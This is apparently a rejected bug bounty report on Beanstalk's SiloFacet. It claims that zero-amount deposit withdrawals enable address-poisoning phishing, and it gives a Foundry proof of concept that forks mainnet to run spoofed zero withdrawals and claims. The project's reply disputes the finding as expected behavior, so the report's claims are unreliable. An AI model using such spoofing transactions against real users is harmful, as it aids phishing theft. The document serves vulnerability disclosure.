Address Poisoning Attack (Phishing threat)
Report ID
#14808
Target
Report type
Smart Contract
Impacts
Direct theft of any user funds, whether at-rest or in-motion, other than unclaimed yield
Has PoC?
Yes
Bug Description
SiloFacet allows for withdrawal of 0, tokens without user having made any deposit. The remove deposit is handled by function removeDeposit() in LibTokenSilo that has three if checks, namely:
if (amount < crateAmount)
if (crateAmount > 0)
if (amount > crateAmount)
because the deposit in SiloFacet does not allow for 0 deposit there is no risk from deposits. However, the withdrawDeposit, function of SiloFacet does not check if user has made a deposit, before allowing them through to the internal function removeDeposit().
Impact
The address poisoning attack on $0 USD transfers is savage in recent weeks. As of December 2, more than 340K addresses have been poisoned on the chain, totaling 99 victim addresses and more than 1.64M USD stolen. Please read referenced article for more detail of the attack vector.
NOTE: If this does not have an impact, please warn your users not to take 0 withdrawals on their accounts seriously and report any suspicious activity.
Risk Breakdown
Difficulty to Exploit: Easy Weakness: CVSS2 Score:
Recommendation
Add a simple check if a deposit has been made by msg.sender == deposit, in SiloFacet.sol with a revert "no deposit found" will completely stop this attack.
References
Proof of concept
// SPDX-License-Identifier: MIT
pragma solidity 0.8.13;
import "forge-std/Test.sol";
import "forge-std/console.sol";
import "./interfaces/IERC20.sol";
import "./interfaces/IDiamond.sol";
/*Key Information
Summary : Address Poisoning Attack
Risk Assessment : High-Critical
Vulnerable Contract : SiloFacet.sol
Vulnerable Function(s) : withdrawDeposit();
Tools Used : Sol2UML, VS-Surya, Foundry
POC-Written by : Sentient-X
twitter : @sentient_x
Disclaimer - This POC is the product of the authors best understanding of the project vulnerability all claims to be proven.
*/
contract ContractTest is Test {
Attack public attack;
IDiamond diamond = IDiamond(0xC1E088fC1323b20BCBee9bd1B9fC9546db5624C5);
IERC20 urbean = IERC20(0x1BEA0050E63e05FBb5D8BA2f10cf5800B6224449);
IERC20 bean = IERC20(0xBEA0000029AD1c77D3d5D23Ba2D8893dB9d1Efab);
//general attack contract address
address constant attacker = 0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f;
address alice = vm.addr(1);
function setUp() public {
vm.createSelectFork("mainnet", 16081220); //fork mainnet at block 16088922
attack = new Attack();
}
function testAttack() public {
//deal attacker urbean
deal(address(urbean), address(attacker), 0);
assertEq(urbean.balanceOf(address(attacker)), 0);
vm.startPrank(address(attacker));
attack.approve();
attack.withdraw();
vm.stopPrank();
console.log("attacker spoof withdraw with no deposit:",urbean.balanceOf(attacker));
vm.warp(block.timestamp + 3600);
//User alice calls sunrise
vm.startPrank(alice);
attack.sunrise();
vm.stopPrank();
vm.roll(16981220);
vm.startPrank(address(attacker));
attack.claim();
vm.stopPrank();
console.log("attacker spoof claim with no deposit :",urbean.balanceOf(attacker));
}
//more test code here
}
contract Attack {
IDiamond diamond = IDiamond(0xC1E088fC1323b20BCBee9bd1B9fC9546db5624C5);
IERC20 urbean = IERC20(0x1BEA0050E63e05FBb5D8BA2f10cf5800B6224449);
IERC20 bean = IERC20(0xBEA0000029AD1c77D3d5D23Ba2D8893dB9d1Efab);
address constant attacker = 0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f;
constructor(){}
receive() external payable {}
fallback() external payable {}
function approve() public {
urbean.approve(address(diamond), type(uint).max);
}
function sunrise() public {
diamond.sunrise();
}
function withdraw() public {
diamond.withdrawDeposit(address(urbean), 8849, 0);
}
function claim() public {
diamond.claimWithdrawal(address(urbean), 8850, 0);
}
}
BIC Response
This is not a security bug report because this is expected behavior.
Beanstalk was built with the philosophy that it is not the smart contract's role to protect users against misuse. Adding validation would reduce gas efficiency.
Also, it should be noted that this type of attack is (1) present within all ERC-20 tokens, (2) not exploitable without the user incorrectly manually entering an address that they find on a block explorer from a "poisoning" transaction and (3) the withdrawDeposit
function only allows the user to withdraw their own Deposits, so it is actually the transferDeposit
function that could result in poisoning.
Due to these reasons, we are closing the submission and no reward will be issued.